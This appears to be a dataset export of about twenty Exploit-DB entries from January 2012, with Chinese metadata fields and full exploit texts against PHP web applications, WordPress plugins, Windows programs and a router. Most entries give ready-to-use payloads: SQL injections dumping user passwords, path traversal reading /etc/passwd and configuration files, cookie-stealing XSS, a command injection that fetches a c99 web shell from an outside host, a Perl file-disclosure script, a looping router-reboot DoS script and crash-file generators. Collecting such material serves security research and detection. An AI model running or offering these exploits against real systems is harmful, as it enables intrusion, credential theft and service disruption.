QLWD/code_shield huggingface dataset:
标题: DZCP (deV!L`z Clanportal) 1.5.5 Moviebase Addon - Blind SQL Injection EDB-ID: 18386 CVE: 2012-0906 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-18 漏洞利用脚本: ========================================================================================                 
| # Title    : deV!L`z Clanportal 1.5.5 Moviebase Addon Blind SQL Injection Vulnerability         
| # Author   : Easy Laster                                                                               
| # Download : http://www.modsbar.de/Addons/79/moviebase/
| # Script   : deV!L`z Clanportal 1.5.5 Moviebase     
| # Price    : 20
| # Bug      : Blind SQL Injection   
| # Date     : 12.01.2012
| # Language : PHP
| # Status   : vulnerable/Non-Public
| # Greetings: secunet.to ,4004-security-project, Team-Internet, HANN!BAL, RBK, Dr.Ogen, ezah                                                               
======================        Proof of Concept         =================================
[+] Vulnerability

    movies/index.php?action=showkat&id=

[+] Injectable

    #true

    http://[host]/[path]/movies/index.php?action=showkat&id=1+and+1=1--+


    #false   

    http://[host]/[path]/movies/index.php?action=showkat&id=1+and+1=2--+

[-] The SQL Injection Filter Function must be bypassed  () URL: https://www.exploit-db.com/exploits/18386
标题: pGB 2.12 - 'kommentar.php' SQL Injection EDB-ID: 18383 CVE: 2012-6524 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-18 漏洞利用脚本: # Exploit Title: pGB 2.12 SQL Injection Vulnerability
# Date: 18/01/2012 - 03.52
# Author: 3spi0n
# Software Website: http://www.powie.de/
# Tested On: BackTrack 5 - Win7 Ultimate
# Platform: Php
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
[$] Vulnerable File:

[~] kommentar.php

[$] Demo Sites:

[~] http://server/kommentar.php?id=117'
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

# Dar bi Koridor Benimki, Kendimi Aradigim.

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

# Contact: Twitter.Com/RigidusCO - Facebook.Com/3spi0ne

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

- Mr.PaPaRoSSe And 3spi0n -

Bug Researcher Group - TURKEY

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> URL: https://www.exploit-db.com/exploits/18383
标题: Microsoft Windows - Assembly Execution (MS12-005) EDB-ID: 18372 CVE: 2012-0013 类型: LOCAL 平台: WINDOWS 发布日期: 2012-01-14 漏洞利用脚本: # Exploit Title: MS12-005 : Microsoft Windows Assembly Execution Vulnerability
# Date: 1/14/2012
# Author: Byoungyoung Lee, http://exploitshop.wordpress.com
# Version: Windows 7 32bit, fully patched until Jan 2012
# Tested on: Windows 7 32bit
# CVE : CVE-2012-0013

PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18372.docm

Open the document file, then allow the macro execution. This will
execute python script (python interpreters are required).
DEMO : http://www.youtube.com/watch?v=Odi6HiqzmL8&feature=youtu.be&hd=1 URL: https://www.exploit-db.com/exploits/18372
标题: WordPress Plugin Count Per Day - Multiple Vulnerabilities EDB-ID: 18355 CVE: 2012-0896 2012-0895 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-12 漏洞利用脚本: #Exploit Title: Count-per-day Wordpress plugin Arbitrary file download and XSS
#Version: < 3.1.1
#Date: 2011-01-12
#Author 6Scan (http://6scan.com) security team
#Software Link: http://wordpress.org/extend/plugins/count-per-day/
#Official fix: This advisory is released after the vendor has responded and fixed the issue.
#Description: User could call a remote script to download arbitrary file from the target system. Another script was vulnerable to non-persistent XSS

PoC for File download
192.168.0.1/wp-content/plugins/count-per-day/download.php?n=1&f=/etc/passwd

PoC for XSS
192.168.0.1/wp-content/plugins/count-per-day/map/map.php?map='")); </script><img src=http://www.bing.com//az/hprichbg?p=rb%2fOrcaWhales_ROW818916751.jpg>' URL: https://www.exploit-db.com/exploits/18355
标题: Pragyan CMS 3.0 - Remote File Disclosure EDB-ID: 18347 CVE: 2012-6500 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-10 漏洞利用脚本: Title    
Pragyan CMS v 3.0 => [Remote File Disclosure] 
Author   
Or4nG.M4n
Download 
http://space.dl.sourceforge.net/project/pragyan/pragyan/3.0/PragyanCMS-v3.0-beta.tar.bz2

vuln
download.lib.php line 16
vuln
index.php line 234

$_GET['fileget']
 
exploit  http://localhost/Pragyan/?page=/&action=profile&fileget=../../../../../../../../../../../../  etc/passwd . boot.ini

Download Config file 
exploit  /Pragyan/?page=/&action=profile&fileget=../../../../../../../../../../../../appserv/www/Pragyan/cms/config.inc.php
exploit  /Pragyan/?page=/&action=profile&fileget=../../../../../../../../../../../../home/exploitdb/public_html/Pragyan/cms/config.inc.php URL: https://www.exploit-db.com/exploits/18347
标题: Advanced Image Hosting Script - SQL Injection EDB-ID: 18352 CVE: 2012-6039 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-12 漏洞利用脚本: # Exploit Title: AIHS (Advanced Image Hosting Script) SQL Injection Vulnerability
# Author: Robert Cooper ( Robert.Cooper [at] areyousecure.net )
# Software Link: http://yabsoft.com/
# Tested on: [Linux/Windows 7]

#Vulnerable File:
 
view_comments.php

#Vulnerable parameter:

view_comments.php?gal=[gallery id]

 
##############################################################
PoC:
 
www.example.com/view_comments.php?gal=109 union all select 1,2,3,4,5,6,7,group_concat(id,0x3a,user,0x3a,pass,0x0a) FROM users--
 
##############################################################

www.areyousecure.net

www.websiteauditing.org

 
# Shouts to the Belegit crew URL: https://www.exploit-db.com/exploits/18352
标题: w-CMS 2.01 - Multiple Vulnerabilities EDB-ID: 18348 CVE: 2012-6523 2012-6522 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-10 漏洞利用脚本: # Exploit Title: W-Cms Multiple Vulnerability
# Date: 2012-01-09
# Author: th3.g4m3_0v3r
# Site:http://w-cms.info/
# Software Link: http://code.google.com/p/wcms/
# Dork: intext:"Powered by w-CMS"
# Version : [2.01]
# Tested on: Window 7
# Yogesh Kashyap, shubneet goel, w4rl0ck.d0wn, Chip, VzAcnY, Razzy, Sayan, Jaggi Panu, Darkgt
# www.h4ck3r.in, www.root-team.com, www.hackingmind.com, www.hackingcrackingtricks.in

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
www.h4ck3r.in            www.root-team.com             www.hackingmind.com
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

W-CMS cross site scripting
_______________

Vulnerable Link __________\/_____________________
_______________

http://localhost/index.php?bid=1&COMMENT=1 "XSS"
http://localhost/?p=3"XSS"
http://localhost/?bid=5&p=1"XSS"


http://localhost/?p=3<FORM action="Default.asp?PageId=-1" 
method=POST id=searchFORMname=searchFORM
  style="margin:0;padding:0"><INPUT type="hidden" value="" 
name="txtSEARCH"></FORM>

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
directory traversal attacks

This script is possibly vulnerable to directory traversal attacks

http://localhost/wcms-2.01_2/?p=../../../../../../../../../../windows/win.ini
http://localhost/wcms-2.01_2/?p=../../../../../phpMyAdmin/db_create.php


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Greetz To : 1337day.com ~ exploit-db.com ~ hackforums.net URL: https://www.exploit-db.com/exploits/18348
标题: Clipbucket 2.6 - Multiple Vulnerabilities EDB-ID: 18341 CVE: 2012-6644 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-09 漏洞利用脚本: # Exploit   : Multiple Vulnerability on ClipBucket 2.6
# Date    : 09 January 2012
# Author   : YaDoY666
# Website   : http://yadoy666.serverisdown.org
# Software  : Clip Bucket (Open Source Video Sharing)
# Version   : 2.6 
# Vendor   : Clip Bucket (http://clip-bucket.com)
# Vendor Response : None

Cross Site Scripting
====================

[[=]] http://[site]/[path]/channels.php
[[=]] http://[site]/[path]/collections.php
[[=]] http://[site]/[path]/groups.php
[[=]] http://[site]/[path]/search_result.php
[[=]] http://[site]/[path]/videos.php
[[=]] http://[site]/[path]/view_collection.php
[[=]] http://[site]/[path]/view_item.php

Example :
http://[site]/[path]/channels.php?cat=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&seo_cat_name=&sort=most_recent&time=all_time
http://[site]/[path]/collections.php?cat=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&seo_cat_name=&sort=most_recent&time=all_time
http://[site]/[path]/groups.php?cat=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&seo_cat_name=&sort=most_recent&time=all_time
http://[site]/[path]/search_result.php?query=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&submit=Search&type=
http://[site]/[path]/videos.php?cat=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E&seo_cat_name=&sort=most_recent&time=all_time
http://[site]/[path]/view_collection.php?cid=9&type=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E
http://[site]/[path]/view_item.php?collection=9&item=KWSWG7S983SY&type=%27%22%28%29%26%251%3CScRiPt%20%3Ealert%28%27YaDoY666%20Was%20Here%27%29%3C%2fScRiPt%3E

SQL Injection
==============

[[=]] http://[site]/[path]/channels.php
[[=]] http://[site]/[path]/videos.php

Example :
http://[site]/[path]/videos.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27
http://[site]/[path]/channels.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27


Greets : KombezNux | Jack | X-Shadow | Don Tukulesto | GBlack | elv1n4 | GBlack | Kamtiez | n4ck0 | AaEzha | ServerIsDown | Indonesian Coder | URL: https://www.exploit-db.com/exploits/18341
标题: SAPID 1.2.3 Stable - Remote File Inclusion EDB-ID: 18342 CVE: 2012-5293 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-09 漏洞利用脚本: # Exploit Title: SAPID Stable (RFI)
# Google Dork: tanyakan pada dan pemula :D
# Date: January 08 2011
# Author: Opa Yong
# Software Link: http://sourceforge.net/projects/sapid/files/sapid-cms/
# Version: SAPID 1.2.3 Stable
# Tested on: Windows XP Home Edition SP2


@POC: http://127.0.1/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[webshell.txt?]
@POC: http://127.0.1/usr/extensions/get_infochannel.inc.php?root_path=[webshell.txt?]


Pesan: Jangan pernah mengaku diri anda hacker,lebih baik orang yg di sekitar anda yg mengaku anda itu adalah hacker.


Special thanks for Dan Pemula URL: https://www.exploit-db.com/exploits/18342
标题: phpMyDirectory.com 1.3.3 - SQL Injection EDB-ID: 18338 CVE: 2012-5288 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-08 漏洞利用脚本: # Exploit Title: phpMyDirectory.com (v. 1.3.3) SQL Injection


# Google Dork: phpMyDirectory.com (v. 1.3.3)


# Location : Türkiye


# Date: 08/01/20112


# Version:   v. 1.3.3


# Author:    Serseri  | www.imhatimi.org |       Biri Bizimi  Çaðýrdý    J


# Software Link: http://www.phpmydirectory.com/


~~~~~~~~~~~~~~~~ Exploit ~~~~~~~~~~~~~~~~~~~~~~~~

# Http://[site.com]/path/page.php?id=[SQLi]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

-----------------------------------------------------------------
Www.Ýmhatimi.org    Serseri  Madwolf URL: https://www.exploit-db.com/exploits/18338
标题: Enigma2 Webinterface 1.5.x/1.6.x/1.7.x (Linux) - Remote File Disclosure EDB-ID: 18343 CVE: 2012-1025 2012-1024 类型: WEBAPPS 平台: LINUX 发布日期: 2012-01-09 漏洞利用脚本: #!/usr/bin/perl
#
#  Enigma2 Webinterface 1.7.x 1.6.x 1.5.x remote root file disclosure exploit
##
#  Author: Todor Donev
#  Email me: todor.donev@@gmail.com
#  Platform: Linux
#  Type: remote
##
#  Gewgle Dork: "Enigma2 movielist" filetype:rss
##
#
#  Enigma2 is a framebuffer-based zapping application (GUI) for linux. 
#  It's targeted to real set-top-boxes, but would also work on regular PCs. 
#  Enigma2 is based on the Python programming language with a backend 
#  written in C++. It uses the [LinuxTV DVB API], which is part of a standard linux kernel.
#
#  Enigma2 can also be controlled via an Enigma2:WebInterface. 
##
#  Thanks to Tsvetelina Emirska !!
##
use LWP::Simple;
$t = $ARGV[0];
if(! $t) {usg();}
$d = $ARGV[1];
if(! $d) {$d = "/etc/passwd";}
my $r = get("http://$t/web/about") or exit;
print "[+] Enigma2 Webinterface 1.7.x 1.6.x 1.5.x remote exploit\n";
print "[+] Target: $t\n";
if ($r =~ m/<e2webifversion>(.*)<\/e2webifversion>/g){
print "[+] Image Version: $1\n";
}
if ($r =~ (m/1.6.0|1.6.1|1.6.2|1.6.3|1.6.4|1.6.5|1.6.6|1.6.7|1.6.8|1.6rc3|1.7.0/i)){
print "[+] Exploiting Enigma2 via type1 (file?file=$d)\n";
result(exploit1());
}
if ($r =~ (m/1.5rc1|1.5beta4/i)){
print "[+] Exploiting Enigma2 via type2 (file/?file=../../../..$d)\n";
result(exploit2());
}
sub usg{
print "\n[+] Enigma2 Webinterface 1.7.x 1.6.x 1.5.x remote exploit\n";
print "[+] Usage: perl enigma2.pl <victim> </path/file>\n";
exit;
}
sub exploit1{
my $x = get("http://$t/file?file=$d");
}
sub exploit2{
my $x = get("http://$t/file/?file=../../../..$d");
}
sub result{
my $x= shift;
while(defined $x){
print "$x\n";
print "[+] I got it 4 cheap.. =)\n";
exit;
}} URL: https://www.exploit-db.com/exploits/18343
标题: GPSMapEdit 1.1.73.2 - '.lst' Local Denial of Service EDB-ID: 18339 CVE: 2012-6042 类型: DOS 平台: WINDOWS 发布日期: 2012-01-09 漏洞利用脚本: #!/usr/bin/python
 
# Exploit Title: GPSMapEdit v1.1.73.2 (.lst) Local Denial of Service Vulnerability
# Version:       1.1.73.2
# Date:          2012-01-08
# Author:        Julien Ahrens
# Homepage:      www.inshell.net
# Software Link: http://www.geopainting.com
# Tested on:     Windows XP SP3 Professional German / Windows 7 Professional 64bit German
 
file="GPSMapEdit_crash.lst"
junk="\x41"*512

print "[*] Creating crash file...\n";
writeFile = open (file, "w")
writeFile.write(junk)
writeFile.close()
print "[*] File successfully created!\n\n"; URL: https://www.exploit-db.com/exploits/18339
标题: WordPress Plugin Age Verification 0.4 - Open Redirect EDB-ID: 18350 CVE: 2012-6499 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-10 漏洞利用脚本: # Exploit Title: Wordpress Age Verification plugin <= 0.4 Open Redirect
# Date: 2012/01/10
# Dork: inurl:wp-content/plugins/age-verification/age-verification.php 
# Author: Gianluca Brindisi (gATbrindi.si @gbrindisi http://brindi.si/g/)
# Software Link: http://downloads.wordpress.org/plugin/age-verification.zip
# Version: 0.4

1)  Via GET: http://server/wp-content/plugins/age-verification/age-verification.php?redirect_to=http%3A%2F%2Fwww.evil.com
    
    The rendered page will provide a link to http://www.evil.com

2)  Via POST: http://server/wp-content/plugins/age-verification/age-verification.php
    redirect_to:    http://www.evil.com
    age_day:        1
    age_month:      1
    age_year:       1970

    Direct redirect to http://www.evil.com URL: https://www.exploit-db.com/exploits/18350
标题: TinyWebGallery 1.8.3 - Remote Command Execution EDB-ID: 18322 CVE: 2012-5347 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-06 漏洞利用脚本: <======================================================>
[»]  TinyWebGallery 1.8.3 Remote Command Execution 
<======================================================>

    
     [»]  ---> Date :     05- 01- 2012              
     [»]  ---> Author :    Expl0!Ts --------> My Best t34m ----->    "BaC , RoBert MilEs , Bl4ck_ID"        
     [»]  ---> Software Link :  http://www.tinywebgallery.com/dl.php?file=twg_latest    
     [»]  ---> Version:      n/a         
     [»]  ---> Category:  php              
     [»]  ---> Tested on:  wind xp   
     

        !----- >  THnKs T0 My ALLAH         
<::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::>
        bIG tHnkS T0 :-> vbspiders.com & Dz4all.com & isecur1ty.org  
<::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::>
<=================Exploit====================>
 
-=[ vuln c0de ]=- 1
  

  1)  --------------> filefunctions.inc : 
       

        function execute_command ($command) {
  global $use_shell_exec;
                   ob_start();
     set_error_handler("on_error_no_output");
  i f (substr(@php_uname(), 0, 7) == "Windows"){
    // Make a new instance of the COM object
       $WshShell = new COM("WScript.Shell");
  // Make the command window but dont show it.
    $oExec = $WshShell->Run("cmd /C " . $command, 0, true);
  } else {
      if ($use_shell_exec) {
         shell_exec($command);    <--------------------------------------------- error





 1)  ---------> PoC : 


      http://127.0.0.1/(patch)/inc/filefunctions.inc?command=<id>;<pwd>;<wget http://shell.org/c99.zip>




-=[ vuln c0de ]=- 2 


  2) --------------> ifo.php :

   if ($use_shell_exec) {
            
           shell_exec($command);
      
       } else {
     
            exec($command . " > /dev/null");  <------------------------------------------ error 


  2)  ---------> PoC : 

       http://127.0.0.1/(patch)/info.php?command=<id>;<pwd>;<wget http://shell.org/c99.zip>


<------------------------------------------------------------------------------------------------------------------------------------------------------------------->
  Gr33tz :
       !>   BaC ,!>  Black_ID  ,!>  Kala$nikoV ,!>  Robert miles  ,!>  Dr.Black_ID  , !> AHmEd-HaMaImi , Bel-AiSa , To-KhAlEd 
<------------------------------------------------------------------------------------------------------------------------------------------------------------------->


EnJoY o_O URL: https://www.exploit-db.com/exploits/18322
标题: WordPress Plugin Pay with Tweet 1.1 - Multiple Vulnerabilities EDB-ID: 18330 CVE: 2012-5350 2012-5349 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-06 漏洞利用脚本: # Exploit Title: Wordpress Pay With Tweet plugin <= 1.1 Multiple Vulnerabilities
# Date: 01/06/2012
# Author: Gianluca Brindisi (gATbrindi.si @gbrindisi http://brindi.si/g/)
# Software Link: http://downloads.wordpress.org/plugin/pay-with-tweet.1.1.zip
# Version: 1.1

1)  Blind SQL Injection in shortcode:
    Short code parameter 'id' is prone to blind sqli, 
    you need to be able to write a post/page to exploit this:

    [paywithtweet id="1' AND 1=2"]
    [paywithtweet id="1' AND 1=1"]

2)  Multiple XSS in pay.php
    http://target.com/wp-content/plugins/pay-with-tweet.php/pay.php    
    
    After connecting to twitter:
        ?link=&22></input>[XSS]
    After submitting the tweet:
        ?title=[XSS]&dl=[REDIRECT-TO-URL]%27)">[XSS]

    The final download link will be replaced with [REDIRECT-TO-URL]

    POC: pay.php?link=%22></input><script>alert(document.cookie)</script>&title=<script>alert(document.cookie)</script>&dl=http://brindi.si%27"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/18330
标题: AirTies-4450 - Unauthorized Remote Reboot (Denial of Service) EDB-ID: 18336 CVE: 2012-0902 类型: DOS 平台: HARDWARE 发布日期: 2012-01-08 漏洞利用脚本: #!/usr/bin/perl
#
# Title: AirTies-4450 Unauthorized Remote Reboot [DoS].
# Type: hardware
# Tested on firmware: AirTies_Air4450_RU_FW_1.1.2.18.bin
# 
# Author: rigan - imrigan [sobachka] gmail.com
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# 
# The description of the device from a site of the vendor:
#
# With its Access Point and Router functionality, the Air 4450 provides wireless Internet access over 
# ADSL and Cable modems. Air 4450 uses 802.11n technology providing wireless data transfer
# rates of up to 300 Mbps. Thus, you can transfer data, watch videos or upload your pictures to the 
# Internet at “N-speed”. Providing 6 times faster wireless communications compared to earlier 
# technologies, and 4 times greater wireless range through use of MIMO technology*, Air 4450 has
# been developed to meet all your wireless needs.
# 
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# 
# The vulnerability:
# 
# http://192.168.1.1/cgi-bin/loader - This cgi script allows to reboot the device via GET request.
# 
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
use LWP::Simple;
print "[*] AirTies Air-4450 Remote Dos Exploit\n";
if (@ARGV != 2){
   print "[*] Usage: perl airdos.pl ip port   \n";
   exit(1); 
}
while (@ARGV > 0){
   $ip = shift(@ARGV);
   $port = shift(@ARGV);
}
$url = "http://".$ip.":".$port."/cgi-bin/".loader;
print "[*] DoS ...............................\n";
while(1){
get($url);
sleep(15);
} URL: https://www.exploit-db.com/exploits/18336
标题: VideoLAN VLC Media Player 1.1.11 - '.amr' Denial of Service (PoC) EDB-ID: 18309 CVE: 2012-0904 类型: DOS 平台: WINDOWS 发布日期: 2012-01-04 漏洞利用脚本: #!/usr/bin/perl
##
# Exploit Title: VLC media player v1.1.11 (.amr) Local Crash PoC
# Date: 04.01.2012
# Author: Fabi@habsec (hapsec@gmail.com)
# Software Link: http://sourceforge.net/projects/vlc/files/1.1.11/win32/vlc-1.1.11-win32.exe
# Version: 1.1.11
# Tested on: Windows 7 x86 English
#
# Description: Unhandled Access Violation Exception loading generated .amr file
#              - 1.1.10 not affected!
#
##
#
#
#
system("title VLC .amr crash PoC");
system("cls");
print "\n";                  
print " [*] Name : VLC media player v1.1.11 (Adaptive Multi-Rate)\n";
print " [*] Exploit : Local Crash PoC                            \n";
sleep(2);
print "\n";
my $amr_boof = "\x23\x21\x41\x4D\x52"; # Treat as AMR 
$amr_boof .= "\x41"x1000; # j4f
open(file , ">", "b00f.amr");
print file $amr_boof;
print "  [+] File successfully created! Open in VLC or drag to playlist..\n" or die print "\n Wuups- Could not create File.. ";
close(file);
# 
#Hannibal ante portas URL: https://www.exploit-db.com/exploits/18309
标题: M-Player 0.4 - Local Denial of Service EDB-ID: 18337 CVE: 2012-6044 类型: DOS 平台: WINDOWS 发布日期: 2012-01-08 漏洞利用脚本: #!/usr/bin/perl

# Exploit Title: M-Player 0.4 Local Denial of Service Vulnerability
# Date: 08/01/2012
# Author: JaMbA
# Download:
http://www.softpedia.com/get/Multimedia/Audio/Audio-Players/M-Player.shtml
# Version: 0.4
# Tested on: Windows 7

my $file= "Crash.mp3";
my $junk= "\x41" x 2048;
open($FILE,">$file");
print $FILE $junk;
print "\nCrash.mp3 File Created successfully\n";
print "\ I'am From Tunisia (Ahmadso best Friend)\n";
print "\ Dz-Devloper Work Team (wanted_29  Dr.Smt  z4k!_xy  ak27 DR.KIM
Samoray Mr_Ghost)\n";
close($FILE); URL: https://www.exploit-db.com/exploits/18337